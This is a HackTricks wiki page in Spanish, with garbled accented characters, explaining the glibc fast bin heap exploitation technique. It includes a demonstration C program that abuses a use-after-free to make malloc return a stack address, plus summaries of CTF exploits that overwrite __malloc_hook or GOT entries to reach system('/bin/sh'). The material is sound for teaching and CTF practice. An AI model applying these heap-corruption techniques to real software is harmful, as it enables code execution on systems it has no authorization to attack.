Fast Bin Attack
Reading time: 10 minutes
tip
Aprende y practica Hacking en AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP: HackTricks Training GCP Red Team Expert (GRTE)
Aprende y practica Hacking en Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Apoya a HackTricks
- Revisa los planes de suscripci贸n!
- 脷nete al 馃挰 grupo de Discord o al grupo de telegram o s铆guenos en Twitter 馃惁 @hacktricks_live.
- Comparte trucos de hacking enviando PRs a los HackTricks y HackTricks Cloud repositorios de github.
Informaci贸n b谩sica
Para m谩s informaci贸n sobre qu茅 es un fast bin consulta esta p谩gina:
Porque el fast bin es una lista enlazada simple, hay muchas menos protecciones que en otros bins y con solo modificar una direcci贸n en un chunk de fast bin liberado es suficiente para poder allocate later a chunk in any memory address.
En resumen:
ptr0 = malloc(0x20);
ptr1 = malloc(0x20);
// Put them in fast bin (suppose tcache is full)
free(ptr0)
free(ptr1)
// Use-after-free
// Modify the address where the free chunk of ptr1 is pointing
*ptr1 = (unsigned long)((char *)&<address>);
ptr2 = malloc(0x20); // This will get ptr1
ptr3 = malloc(0x20); // This will get a chunk in the <address> which could be abuse to overwrite arbitrary content inside of it
Puedes encontrar un ejemplo completo en un c贸digo muy bien explicado en https://guyinatuxedo.github.io/28-fastbin_attack/explanation_fastbinAttack/index.html:
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
int main(void)
{
puts("Today we will be discussing a fastbin attack.");
puts("There are 10 fastbins, which act as linked lists (they're separated by size).");
puts("When a chunk is freed within a certain size range, it is added to one of the fastbin linked lists.");
puts("Then when a chunk is allocated of a similar size, it grabs chunks from the corresponding fastbin (if there are chunks in it).");
puts("(think sizes 0x10-0x60 for fastbins, but that can change depending on some settings)");
puts("\nThis attack will essentially attack the fastbin by using a bug to edit the linked list to point to a fake chunk we want to allocate.");
puts("Pointers in this linked list are allocated when we allocate a chunk of the size that corresponds to the fastbin.");
puts("So we will just allocate chunks from the fastbin after we edit a pointer to point to our fake chunk, to get malloc to return a pointer to our fake chunk.\n");
puts("So the tl;dr objective of a fastbin attack is to allocate a chunk to a memory region of our choosing.\n");
puts("Let's start, we will allocate three chunks of size 0x30\n");
unsigned long *ptr0, *ptr1, *ptr2;
ptr0 = malloc(0x30);
ptr1 = malloc(0x30);
ptr2 = malloc(0x30);
printf("Chunk 0: %p\n", ptr0);
printf("Chunk 1: %p\n", ptr1);
printf("Chunk 2: %p\n\n", ptr2);
printf("Next we will make an integer variable on the stack. Our goal will be to allocate a chunk to this variable (because why not).\n");
int stackVar = 0x55;
printf("Integer: %x\t @: %p\n\n", stackVar, &stackVar);
printf("Proceeding that I'm going to write just some data to the three heap chunks\n");
char *data0 = "00000000";
char *data1 = "11111111";
char *data2 = "22222222";
memcpy(ptr0, data0, 0x8);
memcpy(ptr1, data1, 0x8);
memcpy(ptr2, data2, 0x8);
printf("We can see the data that is held in these chunks. This data will get overwritten when they get added to the fastbin.\n");
printf("Chunk 0: %s\n", (char *)ptr0);
printf("Chunk 1: %s\n", (char *)ptr1);
printf("Chunk 2: %s\n\n", (char *)ptr2);
printf("Next we are going to free all three pointers. This will add all of them to the fastbin linked list. We can see that they hold pointers to chunks that will be allocated.\n");
free(ptr0);
free(ptr1);
free(ptr2);
printf("Chunk0 @ 0x%p\t contains: %lx\n", ptr0, *ptr0);
printf("Chunk1 @ 0x%p\t contains: %lx\n", ptr1, *ptr1);
printf("Chunk2 @ 0x%p\t contains: %lx\n\n", ptr2, *ptr2);
printf("So we can see that the top two entries in the fastbin (the last two chunks we freed) contains pointers to the next chunk in the fastbin. The last chunk in there contains `0x0` as the next pointer to indicate the end of the linked list.\n\n");
printf("Now we will edit a freed chunk (specifically the second chunk \"Chunk 1\"). We will be doing it with a use after free, since after we freed it we didn't get rid of the pointer.\n");
printf("We will edit it so the next pointer points to the address of the stack integer variable we talked about earlier. This way when we allocate this chunk, it will put our fake chunk (which points to the stack integer) on top of the free list.\n\n");
*ptr1 = (unsigned long)((char *)&stackVar);
printf("We can see it's new value of Chunk1 @ %p\t hold: 0x%lx\n\n", ptr1, *ptr1);
printf("Now we will allocate three new chunks. The first one will pretty much be a normal chunk. The second one is the chunk which the next pointer we overwrote with the pointer to the stack variable.\n");
printf("When we allocate that chunk, our fake chunk will be at the top of the fastbin. Then we can just allocate one more chunk from that fastbin to get malloc to return a pointer to the stack variable.\n\n");
unsigned long *ptr3, *ptr4, *ptr5;
ptr3 = malloc(0x30);
ptr4 = malloc(0x30);
ptr5 = malloc(0x30);
printf("Chunk 3: %p\n", ptr3);
printf("Chunk 4: %p\n", ptr4);
printf("Chunk 5: %p\t Contains: 0x%x\n", ptr5, (int)*ptr5);
printf("\n\nJust like that, we executed a fastbin attack to allocate an address to a stack variable using malloc!\n");
}
caution
Si es posible sobrescribir el valor de la variable global global_max_fast
con un n煤mero grande, esto permite generar fast bin chunks de tama帽os mayores, potencialmente permitiendo realizar fast bin attacks en escenarios donde antes no era posible. Esta situaci贸n es 煤til en el contexto de large bin attack y unsorted bin attack
Ejemplos
- CTF https://guyinatuxedo.github.io/28-fastbin_attack/0ctf_babyheap/index.html:
- Es posible allocate chunks, free them, leer su contenido y rellenarlos (con una overflow vulnerability).
- Consolidate chunk for infoleak: La t茅cnica consiste b谩sicamente en abusar del overflow para crear un
prev_size
falso de modo que un chunk anterior quede dentro de uno m谩s grande, por lo que al allocating el chunk m谩s grande que contiene otro chunk, es posible imprimir sus datos y leak una direcci贸n de libc (main_arena+88
). - Overwrite malloc hook: Para esto, y abusando de la situaci贸n de solapamiento previa, fue posible tener 2 chunks apuntando a la misma memoria. Por lo tanto, freeing ambos (freeing otro chunk entre medias para evitar protecciones) permiti贸 tener el mismo chunk en el fast bin 2 veces. Luego, fue posible allocate de nuevo, overwrite la direcci贸n del next chunk para que apunte un poco antes de
__malloc_hook
(de modo que apunte a un entero que malloc interpreta como un tama帽o libre - otro bypass), allocate de nuevo y luego allocate otro chunk que recibir谩 una direcci贸n hacia malloc hooks.\ Finalmente se escribi贸 un one gadget all铆. - CTF https://guyinatuxedo.github.io/28-fastbin_attack/csaw17_auir/index.html:
- Hay un heap overflow y use after free y double free porque cuando un chunk es freed es posible reutilizar y volver a freear los punteros.
- Libc info leak: Basta freear algunos chunks y obtendr谩n un puntero a una parte de la ubicaci贸n del main arena. Como puedes reuse freed pointers, simplemente lee esa address.
- Fast bin attack: Todos los punteros a las allocations est谩n almacenados dentro de un array, as铆 que podemos freear un par de fast bin chunks y en el 煤ltimo sobrescribir la direcci贸n para que apunte un poco antes de ese array de punteros. Luego, allocate un par de chunks del mismo tama帽o y obtendremos primero el leg铆timo y luego el fake que contiene el array de punteros. Ahora podemos overwrite los pointers de esa allocation para hacer que la direcci贸n GOT de
free
apunte asystem
y luego escribir"/bin/sh"
en el chunk 1 para llamar afree(chunk1)
, lo cual en su lugar ejecutar谩system("/bin/sh")
. - CTF https://guyinatuxedo.github.io/33-custom_misc_heap/csaw19_traveller/index.html
- Otro ejemplo de abuso de un one byte overflow para consolidar chunks en el unsorted bin y obtener un libc infoleak y luego realizar un fast bin attack para overwrite malloc hook con una direcci贸n de one gadget
- CTF https://guyinatuxedo.github.io/33-custom_misc_heap/csaw18_alienVSsamurai/index.html
- Tras un infoleak abusando del unsorted bin con un UAF para leak una direcci贸n de libc y una direcci贸n PIE, el exploit de este CTF us贸 un fast bin attack para allocate un chunk en un lugar donde estaban los punteros a chunks controlados, por lo que fue posible overwrite ciertos punteros para escribir un one gadget en la GOT
- You can find a Fast Bin attack abused through an unsorted bin attack:
- Ten en cuenta que es com煤n, antes de realizar fast bin attacks, abusar de las free-lists para leak direcciones de libc/heap (cuando sea necesario).
- Robot Factory. BlackHat MEA CTF 2022
- Solo podemos allocate chunks de tama帽o mayor que
0x100
. - Overwrite
global_max_fast
using an Unsorted Bin attack (works 1/16 times due to ASLR, because we need to modify 12 bits, but we must modify 16 bits). - Fast Bin attack para modificar una global array de chunks. Esto da un primitive de read/write arbitrario, que permite modificar la GOT y apuntar alguna funci贸n a
system
.
tip
Aprende y practica Hacking en AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP: HackTricks Training GCP Red Team Expert (GRTE)
Aprende y practica Hacking en Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Apoya a HackTricks
- Revisa los planes de suscripci贸n!
- 脷nete al 馃挰 grupo de Discord o al grupo de telegram o s铆guenos en Twitter 馃惁 @hacktricks_live.
- Comparte trucos de hacking enviando PRs a los HackTricks y HackTricks Cloud repositorios de github.